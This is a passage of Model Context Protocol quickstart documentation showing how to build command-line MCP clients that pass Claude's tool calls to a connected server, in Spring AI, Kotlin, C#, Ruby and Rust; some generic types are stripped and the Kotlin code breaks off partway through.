+ The application integrates Spring AI with the Brave Search MCP server through several components:
+
+ ### MCP Client Configuration
+
+ 1. Required dependencies in pom.xml:
+
+ ```xml theme={null}
+
+ org.springframework.ai
+ spring-ai-starter-mcp-client
+
+
+ org.springframework.ai
+ spring-ai-starter-model-anthropic
+
+ ```
+
+ 2. Application properties (application.yml):
+
+ ```yml theme={null}
+ spring:
+ ai:
+ mcp:
+ client:
+ enabled: true
+ name: brave-search-client
+ version: 1.0.0
+ type: SYNC
+ request-timeout: 20s
+ stdio:
+ root-change-notification: true
+ servers-configuration: classpath:/mcp-servers-config.json
+ toolcallback:
+ enabled: true
+ anthropic:
+ api-key: ${ANTHROPIC_API_KEY}
+ ```
+
+ This activates the `spring-ai-starter-mcp-client` to create one or more `McpClient`s based on the provided server configuration.
+ The `spring.ai.mcp.client.toolcallback.enabled=true` property enables the tool callback mechanism, that automatically registers all MCP tool as spring ai tools.
+ It is disabled by default.
+
+ 3. MCP Server Configuration (`mcp-servers-config.json`):
+
+ ```json theme={null}
+ {
+ "mcpServers": {
+ "brave-search": {
+ "command": "npx",
+ "args": ["-y", "@modelcontextprotocol/server-brave-search"],
+ "env": {
+ "BRAVE_API_KEY": ""
+ }
+ }
+ }
+ }
+ ```
+
+ ### Chat Implementation
+
+ The chatbot is implemented using Spring AI's ChatClient with MCP tool integration:
+
+ ```java theme={null}
+ var chatClient = chatClientBuilder
+ .defaultSystem("You are useful assistant, expert in AI and Java.")
+ .defaultToolCallbacks((Object[]) mcpToolAdapter.toolCallbacks())
+ .defaultAdvisors(new MessageChatMemoryAdvisor(new InMemoryChatMemory()))
+ .build();
+ ```
+
+ Key features:
+
+ * Uses Claude AI model for natural language understanding
+ * Integrates Brave Search through MCP for real-time web search capabilities
+ * Maintains conversation memory using InMemoryChatMemory
+ * Runs as an interactive command-line application
+
+ ### Build and run
+
+ ```bash theme={null}
+ ./mvnw clean install
+ java -jar ./target/ai-mcp-brave-chatbot-0.0.1-SNAPSHOT.jar
+ ```
+
+ or
+
+ ```bash theme={null}
+ ./mvnw spring-boot:run
+ ```
+
+ The application will start an interactive chat session where you can ask questions. The chatbot will use Brave Search when it needs to find information from the internet to answer your queries.
+
+ The chatbot can:
+
+ * Answer questions using its built-in knowledge
+ * Perform web searches when needed using Brave Search
+ * Remember context from previous messages in the conversation
+ * Combine information from multiple sources to provide comprehensive answers
+
+ ### Advanced Configuration
+
+ The MCP client supports additional configuration options:
+
+ * Client customization through `McpSyncClientCustomizer` or `McpAsyncClientCustomizer`
+ * Multiple clients with multiple transport types: `STDIO` and `SSE` (Server-Sent Events)
+ * Integration with Spring AI's tool execution framework
+ * Automatic client initialization and lifecycle management
+
+ For WebFlux-based applications, you can use the WebFlux starter instead:
+
+ ```xml theme={null}
+
+ org.springframework.ai
+ spring-ai-mcp-client-webflux-spring-boot-starter
+
+ ```
+
+ This provides similar functionality but uses a WebFlux-based SSE transport implementation, recommended for production deployments.
+
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/kotlin-sdk/tree/main/samples/kotlin-mcp-client)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * JDK 11 or higher
+ * Anthropic API key (Claude)
+
+ ## Setting up your environment
+
+ First, let's install `java` and `gradle` if you haven't already.
+ You can download `java` from [official Oracle JDK website](https://www.oracle.com/java/technologies/downloads/).
+ Verify your `java` installation:
+
+ ```bash theme={null}
+ java --version
+ ```
+
+ Now, let's create and set up your project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir kotlin-mcp-client
+ cd kotlin-mcp-client
+
+ # Initialize a new kotlin project
+ gradle init
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ md kotlin-mcp-client
+ cd kotlin-mcp-client
+ # Initialize a new kotlin project
+ gradle init
+ ```
+
+
+ After running `gradle init`, select **Application** as the project type, **Kotlin** as the programming language.
+
+ Alternatively, you can create a Kotlin application using the [IntelliJ IDEA project wizard](https://kotlinlang.org/docs/jvm-get-started.html).
+
+ After creating the project, replace the contents of your `build.gradle.kts` with:
+
+ ```kotlin build.gradle.kts theme={null}
+ // Check latest versions at https://github.com/modelcontextprotocol/kotlin-sdk/releases
+ val mcpVersion = "0.9.0"
+ val ktorVersion = "3.2.3"
+ val anthropicVersion = "2.15.0"
+ val slf4jVersion = "2.0.17"
+
+ plugins {
+ kotlin("jvm") version "2.3.20"
+ id("com.gradleup.shadow") version "8.3.9"
+ application
+ }
+
+ application {
+ mainClass.set("MainKt")
+ }
+
+ dependencies {
+ implementation("io.modelcontextprotocol:kotlin-sdk:$mcpVersion")
+ implementation("io.ktor:ktor-client-cio:$ktorVersion")
+ implementation("com.anthropic:anthropic-java:$anthropicVersion")
+ implementation("org.slf4j:slf4j-simple:$slf4jVersion")
+ }
+ ```
+
+ Verify that everything is set up correctly:
+
+ ```bash theme={null}
+ ./gradlew build
+ ```
+
+ ## Setting up your API key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ Set up your API key:
+
+ ```bash theme={null}
+ export ANTHROPIC_API_KEY='your-anthropic-api-key-here'
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` secure!
+
+
+ ## Creating the Client
+
+ ### Basic Client Structure
+
+ First, let's create the basic client class:
+
+ ```kotlin theme={null}
+ class MCPClient(apiKey: String) : AutoCloseable {
+ private val anthropic = AnthropicOkHttpClient.builder()
+ .apiKey(apiKey)
+ .build()
+
+ private val mcp: Client = Client(
+ clientInfo = Implementation(name = "mcp-client-cli", version = "1.0.0")
+ )
+ private var serverProcess: Process? = null
+ private lateinit var tools: List
+
+ // methods will go here
+
+ override fun close() {
+ runBlocking {
+ mcp.close()
+ }
+ serverProcess?.destroy()
+ anthropic.close()
+ }
+ }
+ ```
+
+ ### Server connection management
+
+ Next, we'll implement the method to connect to an MCP server:
+
+ ```kotlin theme={null}
+ suspend fun connectToServer(serverScriptPath: String) {
+ val command = buildList {
+ when (serverScriptPath.substringAfterLast(".")) {
+ "js" -> add("node")
+ "py" -> add(if (System.getProperty("os.name").lowercase().contains("win")) "python" else "python3")
+ "jar" -> addAll(listOf("java", "-jar"))
+ else -> throw IllegalArgumentException("Server script must be a .js, .py or .jar file")
+ }
+ add(serverScriptPath)
+ }
+
+ val process = ProcessBuilder(command).start()
+ serverProcess = process
+
+ val transport = StdioClientTransport(
+ input = process.inputStream.asSource().buffered(),
+ output = process.outputStream.asSink().buffered(),
+ )
+
+ mcp.connect(transport)
+
+ val toolsResult = mcp.listTools()
+ tools = toolsResult.tools.map { tool ->
+ ToolUnion.ofTool(
+ Tool.builder()
+ .name(tool.name)
+ .description(tool.description ?: "")
+ .inputSchema(
+ Tool.InputSchema.builder()
+ .type(JsonValue.from(tool.inputSchema.type))
+ .properties(tool.inputSchema.properties?.toJsonValue() ?: EmptyJsonObject.toJsonValue())
+ .putAdditionalProperty("required", JsonValue.from(tool.inputSchema.required))
+ .build(),
+ )
+ .build(),
+ )
+ }
+ println("Connected to server with tools: ${tools.joinToString(", ") { it.tool().get().name() }}")
+ }
+ ```
+
+
+ This helper converts a kotlinx.serialization `JsonObject` to an Anthropic SDK `JsonValue` using Jackson:
+
+ ```kotlin theme={null}
+ private fun JsonObject.toJsonValue(): JsonValue {
+ val mapper = ObjectMapper()
+ val node = mapper.readTree(this.toString())
+ return JsonValue.fromJsonNode(node)
+ }
+ ```
+
+
+ ### Query processing logic
+
+ Now let's add the core functionality for processing queries and handling tool calls:
+
+ ```kotlin theme={null}
+ suspend fun processQuery(query: String): String {
+ val messages = mutableListOf(
+ MessageParam.builder()
+ .role(MessageParam.Role.USER)
+ .content(query)
+ .build(),
+ )
+
+ val response = anthropic.messages().create(
+ MessageCreateParams.builder()
+ .model("claude-sonnet-4-20250514")
+ .maxTokens(1024)
+ .messages(messages)
+ .tools(tools)
+ .build(),
+ )
+
+ val finalText = mutableListOf()
+ response.content().forEach { content ->
+ when {
+ content.isText() -> finalText.add(content.text().get().text())
+
+ content.isToolUse() -> {
+ val toolName = content.toolUse().get().name()
+ val toolArgs =
+ content.toolUse().get()._input().convert(object : TypeReference
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/QuickstartClient)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * .NET 8.0 or higher
+ * Anthropic API key (Claude)
+ * Windows, Linux, or macOS
+
+ ## Setting up your environment
+
+ First, create a new .NET project:
+
+ ```bash theme={null}
+ dotnet new console -n QuickstartClient
+ cd QuickstartClient
+ ```
+
+ Then, add the required dependencies to your project:
+
+ ```bash theme={null}
+ dotnet add package ModelContextProtocol --prerelease
+ dotnet add package Anthropic.SDK
+ dotnet add package Microsoft.Extensions.Hosting
+ dotnet add package Microsoft.Extensions.AI
+ ```
+
+ ## Setting up your API key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ ```bash theme={null}
+ dotnet user-secrets init
+ dotnet user-secrets set "ANTHROPIC_API_KEY" ""
+ ```
+
+ ## Creating the Client
+
+ ### Basic Client Structure
+
+ First, let's setup the basic client class in the file `Program.cs`:
+
+ ```csharp theme={null}
+ using Anthropic.SDK;
+ using Microsoft.Extensions.AI;
+ using Microsoft.Extensions.Configuration;
+ using Microsoft.Extensions.Hosting;
+ using ModelContextProtocol.Client;
+ using ModelContextProtocol.Protocol.Transport;
+
+ var builder = Host.CreateApplicationBuilder(args);
+
+ builder.Configuration
+ .AddEnvironmentVariables()
+ .AddUserSecrets();
+ ```
+
+ This creates the beginnings of a .NET console application that can read the API key from user secrets.
+
+ Next, we'll setup the MCP Client:
+
+ ```csharp theme={null}
+ var (command, arguments) = GetCommandAndArguments(args);
+
+ var clientTransport = new StdioClientTransport(new()
+ {
+ Name = "Demo Server",
+ Command = command,
+ Arguments = arguments,
+ });
+
+ await using var mcpClient = await McpClient.CreateAsync(clientTransport);
+
+ var tools = await mcpClient.ListToolsAsync();
+ foreach (var tool in tools)
+ {
+ Console.WriteLine($"Connected to server with tools: {tool.Name}");
+ }
+ ```
+
+ Add this function at the end of the `Program.cs` file:
+
+ ```csharp theme={null}
+ static (string command, string[] arguments) GetCommandAndArguments(string[] args)
+ {
+ return args switch
+ {
+ [var script] when script.EndsWith(".py") => ("python", args),
+ [var script] when script.EndsWith(".js") => ("node", args),
+ [var script] when Directory.Exists(script) || (File.Exists(script) && script.EndsWith(".csproj")) => ("dotnet", ["run", "--project", script, "--no-build"]),
+ _ => throw new NotSupportedException("An unsupported server script was provided. Supported scripts are .py, .js, or .csproj")
+ };
+ }
+ ```
+
+ This creates an MCP client that will connect to a server that is provided as a command line argument. It then lists the available tools from the connected server.
+
+ ### Query processing logic
+
+ Now let's add the core functionality for processing queries and handling tool calls:
+
+ ```csharp theme={null}
+ using var anthropicClient = new AnthropicClient(new APIAuthentication(builder.Configuration["ANTHROPIC_API_KEY"]))
+ .Messages
+ .AsBuilder()
+ .UseFunctionInvocation()
+ .Build();
+
+ var options = new ChatOptions
+ {
+ MaxOutputTokens = 1000,
+ ModelId = "claude-sonnet-4-20250514",
+ Tools = [.. tools]
+ };
+
+ Console.ForegroundColor = ConsoleColor.Green;
+ Console.WriteLine("MCP Client Started!");
+ Console.ResetColor();
+
+ PromptForInput();
+ while(Console.ReadLine() is string query && !"exit".Equals(query, StringComparison.OrdinalIgnoreCase))
+ {
+ if (string.IsNullOrWhiteSpace(query))
+ {
+ PromptForInput();
+ continue;
+ }
+
+ await foreach (var message in anthropicClient.GetStreamingResponseAsync(query, options))
+ {
+ Console.Write(message);
+ }
+ Console.WriteLine();
+
+ PromptForInput();
+ }
+
+ static void PromptForInput()
+ {
+ Console.WriteLine("Enter a command (or 'exit' to quit):");
+ Console.ForegroundColor = ConsoleColor.Cyan;
+ Console.Write("> ");
+ Console.ResetColor();
+ }
+ ```
+
+ ## Key Components Explained
+
+ ### 1. Client Initialization
+
+ * The client is initialized using `McpClient.CreateAsync()`, which sets up the transport type and command to run the server.
+
+ ### 2. Server Connection
+
+ * Supports Python, Node.js, and .NET servers.
+ * The server is started using the command specified in the arguments.
+ * Configures to use stdio for communication with the server.
+ * Initializes the session and available tools.
+
+ ### 3. Query Processing
+
+ * Leverages [Microsoft.Extensions.AI](https://learn.microsoft.com/dotnet/ai/ai-extensions) for the chat client.
+ * Configures the `IChatClient` to use automatic tool (function) invocation.
+ * The client reads user input and sends it to the server.
+ * The server processes the query and returns a response.
+ * The response is displayed to the user.
+
+ ## Running the Client
+
+ To run your client with any MCP server:
+
+ ```bash theme={null}
+ dotnet run -- path/to/server.csproj # dotnet server
+ dotnet run -- path/to/server.py # python server
+ dotnet run -- path/to/server.js # node server
+ ```
+
+
+ If you're continuing the weather tutorial from the server quickstart, your command might look something like this: `dotnet run -- path/to/QuickstartWeatherServer`.
+
+
+ The client will:
+
+ 1. Connect to the specified server
+ 2. List available tools
+ 3. Start an interactive chat session where you can:
+ * Enter queries
+ * See tool executions
+ * Get responses from Claude
+ 4. Exit the session when done
+
+ Here's an example of what it should look like if connected to the weather server quickstart:
+
+
+
+
+
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-ruby)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * Mac or Windows computer
+ * Ruby 3.2.0 or higher installed (required by the [Anthropic SDK](https://github.com/anthropics/anthropic-sdk-ruby))
+ * Anthropic API key (Claude)
+
+ ## Setting Up Your Environment
+
+ First, create a new Ruby project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create project directory
+ mkdir mcp-client
+ cd mcp-client
+
+ # Create a Gemfile
+ bundle init
+
+ # Add required dependencies
+ bundle add anthropic base64 dotenv mcp
+
+ # Create our main file
+ touch client.rb
+ ```
+
+ ```powershell Windows theme={null}
+ # Create project directory
+ mkdir mcp-client
+ cd mcp-client
+
+ # Create a Gemfile
+ bundle init
+
+ # Add required dependencies
+ bundle add anthropic base64 dotenv mcp
+
+ # Create our main file
+ new-item client.rb
+ ```
+
+
+ ## Setting Up Your API Key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ Create a `.env` file to store it:
+
+ ```bash theme={null}
+ echo "ANTHROPIC_API_KEY=your-api-key-goes-here" > .env
+ ```
+
+ Add `.env` to your `.gitignore`:
+
+ ```bash theme={null}
+ echo ".env" >> .gitignore
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` secure!
+
+
+ ## Creating the Client
+
+ ### Basic Client Structure
+
+ First, let's set up our requires and create the basic client class:
+
+ ```ruby theme={null}
+ require "anthropic"
+ require "dotenv/load"
+ require "json"
+ require "mcp"
+
+ class MCPClient
+ ANTHROPIC_MODEL = "claude-sonnet-4-20250514"
+
+ def initialize
+ @mcp_client = nil
+ @transport = nil
+ @anthropic_client = nil
+ end
+
+ # methods will go here
+ end
+ ```
+
+ ### Server Connection Management
+
+ Next, we'll implement the method to connect to an MCP server:
+
+ ```ruby theme={null}
+ def connect_to_server(server_script_path)
+ command = case File.extname(server_script_path)
+ when ".rb"
+ "ruby"
+ when ".py"
+ "python3"
+ when ".js"
+ "node"
+ else
+ raise ArgumentError, "Server script must be a .rb, .py, or .js file."
+ end
+
+ @transport = MCP::Client::Stdio.new(command: command, args: [server_script_path])
+ @mcp_client = MCP::Client.new(transport: @transport)
+ @mcp_client.connect
+
+ tool_names = @mcp_client.tools.map(&:name)
+ puts "\nConnected to server with tools: #{tool_names}"
+ end
+ ```
+
+ ### Query Processing Logic
+
+ Now let's add the core functionality for processing queries and handling tool calls:
+
+ ```ruby theme={null}
+ private
+
+ def process_query(query)
+ messages = [{ role: "user", content: query }]
+
+ available_tools = @mcp_client.tools.map do |tool|
+ { name: tool.name, description: tool.description, input_schema: tool.input_schema }
+ end
+
+ # Initial Claude API call.
+ response = chat(messages, tools: available_tools)
+
+ # Process response and handle tool calls.
+ if response.content.any?(Anthropic::Models::ToolUseBlock)
+ assistant_content = response.content.filter_map do |content_block|
+ case content_block
+ when Anthropic::Models::TextBlock
+ { type: "text", text: content_block.text }
+ when Anthropic::Models::ToolUseBlock
+ { type: "tool_use", id: content_block.id, name: content_block.name, input: content_block.input }
+ end
+ end
+ messages << { role: "assistant", content: assistant_content }
+ end
+
+ response.content.each_with_object([]) do |content, response_parts|
+ case content
+ when Anthropic::Models::TextBlock
+ response_parts << content.text
+ when Anthropic::Models::ToolUseBlock
+ # Execute tool call via MCP.
+ result = @mcp_client.call_tool(name: content.name, arguments: content.input)
+ response_parts << "[Calling tool #{content.name} with args #{content.input.to_json}]"
+
+ tool_result_content = result.dig("result", "content")
+ result_text = if tool_result_content.is_a?(Array)
+ tool_result_content.filter_map { |content_item| content_item["text"] }.join("\n")
+ else
+ tool_result_content.to_s
+ end
+
+ messages << {
+ role: "user",
+ content: [{
+ type: "tool_result",
+ tool_use_id: content.id,
+ content: result_text
+ }]
+ }
+
+ # Get next response from Claude.
+ response = chat(messages)
+
+ response.content.each do |content_block|
+ response_parts << content_block.text if content_block.is_a?(Anthropic::Models::TextBlock)
+ end
+ end
+ end.join("\n")
+ end
+
+ def chat(messages, tools: nil)
+ params = { model: ANTHROPIC_MODEL, max_tokens: 1000, messages: messages }
+ params[:tools] = tools if tools
+
+ anthropic_client.messages.create(**params)
+ end
+
+ def anthropic_client
+ @anthropic_client ||= Anthropic::Client.new(api_key: ENV["ANTHROPIC_API_KEY"])
+ end
+ ```
+
+ ### Interactive Chat Interface
+
+ Now we'll add the chat loop and cleanup functionality:
+
+ ```ruby theme={null}
+ def chat_loop
+ puts <<~MESSAGE
+ MCP Client Started!
+ Type your queries or 'quit' to exit.
+ MESSAGE
+
+ loop do
+ print "\nQuery: "
+ line = $stdin.gets
+ break if line.nil?
+
+ query = line.chomp.strip
+ break if query.downcase == "quit"
+ next if query.empty?
+
+ begin
+ response = process_query(query)
+ puts "\n#{response}"
+ rescue => e
+ puts "\nError: #{e.message}"
+ end
+ end
+ end
+
+ def cleanup
+ @transport&.close
+ end
+ ```
+
+ ### Main Entry Point
+
+ Finally, we'll add the main execution logic:
+
+ ```ruby theme={null}
+ if ARGV.empty?
+ puts "Usage: ruby client.rb "
+ exit 1
+ end
+
+ client = MCPClient.new
+
+ begin
+ client.connect_to_server(ARGV[0])
+
+ api_key = ENV["ANTHROPIC_API_KEY"]
+ if api_key.nil? || api_key.empty?
+ puts <<~MESSAGE
+ No ANTHROPIC_API_KEY found. To query these tools with Claude, set your API key:
+ export ANTHROPIC_API_KEY=your-api-key-here
+ MESSAGE
+ exit
+ end
+
+ client.chat_loop
+ rescue => e
+ puts "Error: #{e.message}"
+ exit 1
+ ensure
+ client.cleanup
+ end
+ ```
+
+ You can find the complete `client.rb` file [here](https://github.com/modelcontextprotocol/quickstart-resources/blob/main/mcp-client-ruby/client.rb).
+
+ ## Key Components Explained
+
+ ### 1. Client Initialization
+
+ * The `MCPClient` class initializes with nil references for lazy setup
+ * The Anthropic client is lazily initialized via the `anthropic_client` method
+ * Uses `dotenv` to load environment variables from `.env`
+
+ ### 2. Server Connection
+
+ * Supports Ruby, Python, and Node.js servers
+ * Uses `File.extname` to determine the server script type
+ * Uses `MCP::Client::Stdio` for stdio transport
+ * Initializes the MCP client and lists available tools
+
+ ### 3. Query Processing
+
+ * Maps MCP tools to Anthropic tool format (`name`, `description`, `input_schema`)
+ * Uses `Anthropic::Models::TextBlock` and `Anthropic::Models::ToolUseBlock` for pattern matching
+ * Builds assistant content once before iterating tool calls
+ * Executes tool calls via `@mcp_client.call_tool`
+ * Uses `chat` helper method to wrap Anthropic API calls
+ * Extracts tool result content with `result.dig("result", "content")`
+ * Passes tool results back to Claude for a final response
+
+ ### 4. Interactive Interface
+
+ * Provides a simple command-line interface
+ * Handles user input and displays responses
+ * Skips empty queries
+ * Includes basic error handling
+
+ ### 5. Resource Management
+
+ * Proper cleanup of the transport via `begin`...`ensure`
+ * Top-level `rescue` for error handling
+ * API key validation after server connection
+
+ ## Running the Client
+
+ To run your client with any MCP server:
+
+ ```bash theme={null}
+ bundle exec ruby client.rb path/to/server.rb # ruby server
+ bundle exec ruby client.rb path/to/server.py # python server
+ bundle exec ruby client.rb path/to/build/index.js # node server
+ ```
+
+
+ If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-ruby), your command might look something like this: `bundle exec ruby client.rb /path/to/weather-server-ruby/weather.rb`
+
+
+ The client will:
+
+ 1. Connect to the specified server
+ 2. List available tools
+ 3. Start an interactive chat session where you can:
+ * Enter queries
+ * See tool executions
+ * Get responses from Claude
+
+ ## How It Works
+
+ When you submit a query:
+
+ 1. The client gets the list of available tools from the server
+ 2. Your query is sent to Claude along with tool descriptions
+ 3. Claude decides which tools (if any) to use
+ 4. The client executes any requested tool calls through the server
+ 5. Results are sent back to Claude
+ 6. Claude provides a natural language response
+ 7. The response is displayed to you
+
+ ## Best practices
+
+ 1. **Error Handling**
+ * Wrap tool calls in `begin`...`rescue` blocks
+ * Provide meaningful error messages
+ * Gracefully handle connection issues
+
+ 2. **Resource Management**
+ * Always close the transport when done
+ * Use `begin`...`ensure` for proper cleanup
+ * Handle server disconnections
+
+ 3. **Security**
+ * Store API keys securely in `.env`
+ * Validate server responses
+ * Be cautious with tool permissions
+
+ ## Troubleshooting
+
+ ### Server Path Issues
+
+ * Double-check the path to your server script is correct
+ * Use the absolute path if the relative path isn't working
+ * For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path
+ * Verify the server file has the correct extension (.py for Python, .js for Node.js, or .rb for Ruby)
+
+ Example of correct path usage:
+
+ ```bash theme={null}
+ # Relative path
+ bundle exec ruby client.rb ./server/weather.rb
+
+ # Absolute path
+ bundle exec ruby client.rb /Users/username/projects/mcp-server/weather.rb
+
+ # Windows path (either format works)
+ bundle exec ruby client.rb C:/projects/mcp-server/weather.rb
+ bundle exec ruby client.rb C:\\projects\\mcp-server\\weather.rb
+ ```
+
+ ### Response Timing
+
+ * The first response might take up to 30 seconds to return
+ * This is normal and happens while:
+ * The server initializes
+ * Claude processes the query
+ * Tools are being executed
+ * Subsequent responses are typically faster
+ * Don't interrupt the process during this initial waiting period
+
+ ### Common Error Messages
+
+ If you see:
+
+ * `Errno::ENOENT`: Check your server path and ensure the command (`ruby`, `python3`, `node`) is available
+ * `Connection refused`: Ensure the server is running and the path is correct
+ * `Tool execution failed`: Verify the tool's required environment variables are set
+ * `Anthropic::Errors::AuthenticationError`: Check your `.env` file has a valid `ANTHROPIC_API_KEY`
+
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-rust)
+
+ ## System Requirements
+
+ Before starting, ensure your Linux system meets these requirements:
+
+ * Latest stable version of [Rust and Cargo](https://www.rust-lang.org/tools/install)
+ * Anthropic API key (Claude)
+ * A Python, Node.js, or executable MCP server to connect to
+
+ ## Setting Up Your Environment
+
+ First, create a new Rust project:
+
+ ```bash theme={null}
+ cargo new mcp-client-rust
+ cd mcp-client-rust
+ ```
+
+ Replace the contents of `Cargo.toml` with the following:
+
+ ```toml Cargo.toml theme={null}
+ [package]
+ name = "mcp-client-rust"
+ version = "0.1.0"
+ edition = "2024"
+
+ [dependencies]
+ anyhow = "1.0.100"
+ genai = "0.4.2"
+ rmcp = { version = "0.8.0", features = ["server", "client", "transport-io", "transport-child-process"] }
+ tokio = { version = "1.47.1", features = ["full"] }
+ tracing = "0.1.41"
+ tracing-subscriber = { version = "0.3", features = ["env-filter"] }
+ serde_json = "1.0.128"
+ dotenvy = "0.15.7"
+ reqwest = "0.12.23"
+ ```
+
+ The [`rmcp`](https://github.com/modelcontextprotocol/rust-sdk) crate provides the Rust MCP SDK and child-process transport. This example uses the [`genai`](https://github.com/jeremychone/rust-genai) crate to send requests to Claude and represent tools in the model request.
+
+ ## Setting Up Your API Key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ Create a `.env` file to store it:
+
+ ```bash theme={null}
+ echo "ANTHROPIC_API_KEY=your-api-key-goes-here" > .env
+ ```
+
+ Add `.env` to your `.gitignore`:
+
+ ```bash theme={null}
+ echo ".env" >> .gitignore
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` secure!
+
+
+ ## Creating the Client
+
+ Open `src/main.rs` and replace its contents as you work through the following sections.
+
+ ### Imports and Client Structure
+
+ First, add the imports, model constant, and basic client structure:
+
+ ```rust theme={null}
+ use anyhow::{Context, Result, bail};
+ use genai::Client;
+ use genai::chat::{
+ ChatMessage, ChatRequest, ChatResponse, ContentPart, Tool as GenaiTool, ToolResponse,
+ };
+ use rmcp::model::{CallToolRequestParam, Tool as McpTool};
+ use rmcp::service::{RoleClient, RunningService, ServiceExt};
+ use rmcp::transport::TokioChildProcess;
+ use serde_json::Value;
+ use tokio::io::{self, AsyncBufReadExt, BufReader};
+ use tokio::process::Command;
+
+ const MODEL_ANTHROPIC: &str = "claude-sonnet-4-20250514";
+
+ struct MCPClient {
+ anthropic: Client,
+ session: Option>,
+ tools: Vec,
+ }
+ ```
+
+ The client keeps the model API client, the active MCP session, and the tools advertised by the connected server.
+
+ ### Client Initialization
+
+ Next, initialize the model client and start without an MCP session or tools:
+
+ ```rust theme={null}
+ impl MCPClient {
+ fn new() -> Result {
+ Ok(MCPClient {
+ anthropic: Client::default(),
+ session: None,
+ tools: Vec::new(),
+ })
+ }
+
+ // Additional methods will go here.
+ }
+ ```
+
+ `genai::Client::default()` reads the `ANTHROPIC_API_KEY` environment variable when it sends a request.
+
+ ### Server Connection Management
+
+ Add this method inside the `impl MCPClient` block:
+
+ ```rust theme={null}
+ async fn connect_to_server(&mut self, server_args: &[String]) -> Result<()> {
+ if self.session.is_some() {
+ bail!("Client is already connected to a server");
+ }
+
+ let mut command = Command::new(&server_args[0]);
+ command.args(&server_args[1..]);
+
+ let process = TokioChildProcess::new(command)
+ .with_context(|| format!("Failed to spawn server process for {:?}", server_args))?;
+
+ let session = ().serve(process).await?;
+
+ let rmcp_tools = session
+ .list_all_tools()
+ .await
+ .context("Unable to list tools from server")?;
+
+ let tool_names: Vec = rmcp_tools
+ .iter()
+ .map(|tool| tool.name.to_string())
+ .collect();
+
+ println!("Connected to server with tools: {tool_names:?}");
+
+ self.tools = convert_tools(&rmcp_tools);
+ self.session = Some(session);
+ Ok(())
+ }
+ ```
+
+ This method:
+
+ 1. Starts the server as a child process using the command and arguments supplied on the command line
+ 2. Establishes an MCP session over stdio
+ 3. Lists all tools advertised by the server
+ 4. Converts those tools into the format used in model requests
+
+ ### Converting MCP Tools
+
+ Add this function outside the `impl MCPClient` block:
+
+ ```rust theme={null}
+ fn convert_tools(tools: &[McpTool]) -> Vec {
+ tools
+ .iter()
+ .map(|tool| GenaiTool {
+ name: tool.name.to_string(),
+ description: tool.description.as_deref().map(str::to_string),
+ schema: Some(Value::Object(tool.input_schema.as_ref().clone())),
+ config: None,
+ })
+ .collect()
+ }
+ ```
+
+ MCP and model APIs describe tools with similar information but different Rust types. `convert_tools` maps each MCP tool's name, description, and input schema into a `genai` tool definition.
+
+ ### Sending Model Requests
+
+ Add this helper method inside `impl MCPClient`:
+
+ ```rust theme={null}
+ async fn request_model(&self, chat_req: &ChatRequest) -> Result {
+ let response = self
+ .anthropic
+ .exec_chat(MODEL_ANTHROPIC, chat_req.clone(), None)
+ .await
+ .context("Anthropic chat request failed")?;
+
+ Ok(response)
+ }
+ ```
+
+ This keeps model request handling in one place and adds useful context if the API request fails.
+
+ ### Query Processing Logic
+
+ Now add the core query-processing method inside `impl MCPClient`:
+
+ ```rust theme={null}
+ async fn process_query(&mut self, query: &str) -> Result {
+ let session = self
+ .session
+ .as_ref()
+ .context("Client is not connected to any server")?;
+
+ let mut messages = vec![ChatMessage::user(query)];
+ let mut final_text = Vec::new();
+
+ // Initial Claude API call with tools
+ let mut chat_req = ChatRequest::new(messages.clone()).with_tools(self.tools.clone());
+ let mut chat_rsp = self.request_model(&chat_req).await?;
+
+ // Process response content - collect text and handle tool calls
+ for text in chat_rsp.texts() {
+ final_text.push(text.to_string());
+ }
+
+ let tool_calls = chat_rsp.tool_calls();
+ if !tool_calls.is_empty() {
+ // Append assistant's response to message history
+ messages.push(ChatMessage::assistant(chat_rsp.content.clone()));
+
+ // Execute each tool call and collect responses
+ let mut tool_results = Vec::new();
+ for tool_call in tool_calls {
+ // Add information about the tool call to final text
+ let tool_args_str = serde_json::to_string(&tool_call.fn_arguments)
+ .unwrap_or_else(|_| "{}".to_string());
+
+ final_text.push(format!(
+ "[Calling tool {} with args {}]",
+ tool_call.fn_name, tool_args_str
+ ));
+
+ // Query the MCP server
+ let tool_result = session
+ .call_tool(CallToolRequestParam {
+ name: tool_call.fn_name.clone().into(),
+ arguments: tool_call.fn_arguments.as_object().cloned(),
+ })
+ .await
+ .with_context(|| format!("Tool call {} failed", tool_call.fn_name))?;
+
+ let payload = serde_json::to_string(&tool_result)
+ .context("Failed to serialize tool result")?;
+
+ tool_results.push(ContentPart::ToolResponse(ToolResponse::new(
+ tool_call.call_id.clone(),
+ payload,
+ )));
+ }
+
+ // Append tool responses to message history
+ messages.push(ChatMessage::user(tool_results));
+
+ // Build the next request and query model
+ chat_req = ChatRequest::new(messages.clone());
+ chat_rsp = self.request_model(&chat_req).await?;
+
+ // Collect text from response
+ for text in chat_rsp.texts() {
+ final_text.push(text.to_string());
+ }
+ }
+
+ Ok(final_text.join("\n"))
+ }
+ ```
+
